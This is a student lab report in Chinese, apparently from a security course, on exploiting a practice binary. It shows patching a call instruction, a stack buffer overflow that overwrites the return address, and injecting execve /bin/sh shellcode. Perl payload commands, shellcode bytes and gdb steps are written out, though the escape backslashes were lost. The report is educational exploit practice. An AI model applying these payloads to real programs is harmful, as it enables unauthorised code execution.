一、实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
pwn1文件包含以下三个函数:
- main函数:用于调用foo函数。
- foo函数:回显任何用户输入的字符串。
- getShell函数:返回一个可用Shell。
本次实验的三个实践内容如下: - 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
二、实验步骤
2.1 直接修改程序机器指令,改变程序执行流程
- 下载目标文件pwn1,并进行反汇编。
输入objdump -d pwn1 | more
对pwn1文件进行反汇编,并分页显示。
此时输入/getShell
可以快速锁定到getShell函数、foo函数和main函数。
- 查看并修改汇编指令
上图中,我们可以看到main函数中call 8048491
这句汇编指令:
①是说这条指令将调用位于地址8048491处的foo函数;
②其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
③本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
那么想让main函数调用getShell函数,只需将上述等式中foo函数的地址改为getShell函数的地址:
call指令要跳转到的地址=call指令所调用的getShell函数的地址-eip寄存器中的值
=804847d-80484ba
=c3 ff ff ff
所以call指令对应的机器指令应改为e8 c3 ff ff ff
。
- 修改可执行文件
首先用cp pwn1 pwn2
语句对pwn1文件进行备份,然后输入vi pwn2
对pwn2文件进行修改
此时pwn2源文件显示如下:
源文件格式不方便修改,所以要将其转化为16进制:
- 按ESC键
- 输入
:%!xxd
转化结果如下:
输入/e8 d7
查找要修改的内容,然后分别输入rc
、r3
将d7
改为c3
,下图为改完后的结果
输入:%!xxd -r
转换16进制为原格式,然后输入:wq
保存并退出vi
-
反汇编查看修改结果
-
运行修改后的可执行文件
上图中pwn2文件是修改后的文件,功能是一个shell,而pwn1文件是修改前的文件,功能是显示用户输入的内容。
2.2 通过构造输入参数,造成BOF攻击,改变程序执行流
- 反汇编,了解程序的基本功能
输入objdump -d pwn1 | more
对pwn1文件进行反汇编,该文件正常运行是调用如下的foo函数,但这个函数有Buffer overflow漏洞
这里读入字符串,但系统只预留了28字节(0x1c)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
- 确认输入字符串哪几个字符会覆盖到返回地址
输入gdb pwn1
对文件进行调试,输入r
运行程序
此时输入1111111122222222333333334444444412345678
(40字节),程序发生段错误
使用info r
命令查看寄存器的值,此时eip寄存器中的值为0x34333231
即1234对应的ASCII码
这验证了刚才提到的,输入的字符的第33-36这四个字节将覆盖EIP寄存器中的值。
那么要向让main函数调用getShell函数,只需将第33-36这四个字节改为 getShell 的内存地址。
-
确认用什么值来覆盖返回地址
之前已经知道getShell的内存地址为0804847d,而且反汇编结果中,机器指令低字节在前、高字节在后,那么输入的字符串应该为11111111222222223333333344444444x7dx84x04x08
。 -
构造输入字符串
由于我们没法通过键盘输入x7dx84x04x08
这样的16进制值,所以先生成包括这样字符串的一个文件,x0a
表示回车。 -
输入
perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
,使用输出重定向>将perl生成的字符串存储到文件input中。 -
输入指令
xxd input
查看input文件的内容是否如预期。 -
输入
(cat input; cat) | ./pwn1
,将input的输入,通过管道符“|”,作为pwn1的输入。 -
此时返回地址已经被覆盖,程序调用了getShell函数,我输入了ls和pwd来验证结果。
-
注入Shellcode并执行
shellcode就是一段机器指令(code);通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
实验采用老师推荐的shellcode。如下:
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
- 准备工作
先利用apt-get install execstack
命令安装execstack软件包
然后执行如下命令(有些指令具有权限,最好在root模式下进行)
- 构造要注入的payload
(1)Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
(2)因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
(3)简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
(4)这次实验中nop+shellcode+retaddr
结构并不方便用于查找shellcode
(5)所以我们使用的结构为:retaddr+nop+shellcode
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
①使用输出重定向将perl生成的字符串存储到文件input_shellcode中:
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
- 使用GDB调试进程
①不退出刚刚运行的pwn1程序,打开另外一个终端,输入ps -ef | grep pwn1
查看pwn1的进程号
由上图可知进程号为1816。
②输入attach 1816
启动gdb调试这个进程。
③输入disassemble foo
查看到ret
的地址为0x080484ae
。
④输入break *0x080484ae
在0x080484ae
处设置断点。
⑤在之前的终端中按下回车,然后在调试的终端中输入c
继续运行。
⑥输入info r esp
查看栈顶指针所在的位置,并查看改地址存放的数据:
上图中可以看到0xffffd23c
存放的数据是01020304,就是返回地址的位置。shellcode地址就是0xffffd23c+4
- 修改攻击代码,完成攻击
①修改input_shellcode文件中的代码
perl -e 'print "A" x 32;print "xc0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
②执行(cat input_shellcode;cat) | ./pwn1
此时程序已被攻击,调用了getShell函数,实现了shell功能,如下图:
3 问题回答
- 实验收获与感想
这次实验主要围绕缓冲区溢出问题,对具有缓冲区溢出漏洞的程序进行攻击。这次实验比较简单,前两部分按照老师给的说明做很快就完成了,第三部分出现了一些问题,最终通过反复查看视频和同学们的博客我自己动手解决了那些问题。总的来说这次实验对我来说收获颇深,让我通过亲手实践的方式更加理解了缓冲区溢出攻击的过程以及完善代码、减少漏洞的重要性。 - 什么是漏洞?漏洞有什么危害?
(1)我认为漏洞就是硬件、软件上的一些弱点,攻击者可以通过这些弱点进行攻击。往小了说,漏洞就是错误代码,通过修改正确的代码,来使程序瘫痪,从而达到漏洞攻击的目的。
(2)漏洞的危害:漏洞轻则导致程序运行不了,重则使电脑瘫痪,甚至会泄露个人隐私信息
4 实验要求
-
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:0x90
- JNE:0x75
- JE:0x74
- JMP
①Short Jump(短跳转):0xEB
②Near Jump(近跳转):0xE9
③Far Jump(远跳转):0xEA - CMP:0x39
-
掌握反汇编与十六进制编程器
- 反汇编:
objdump -d xxx | more
- 十六进制编程器Perl:
perl -e 'print "xxx"' > input
-
能正确修改机器指令改变程序执行流程(已完成)
-
能正确构造payload进行bof攻击(已完成)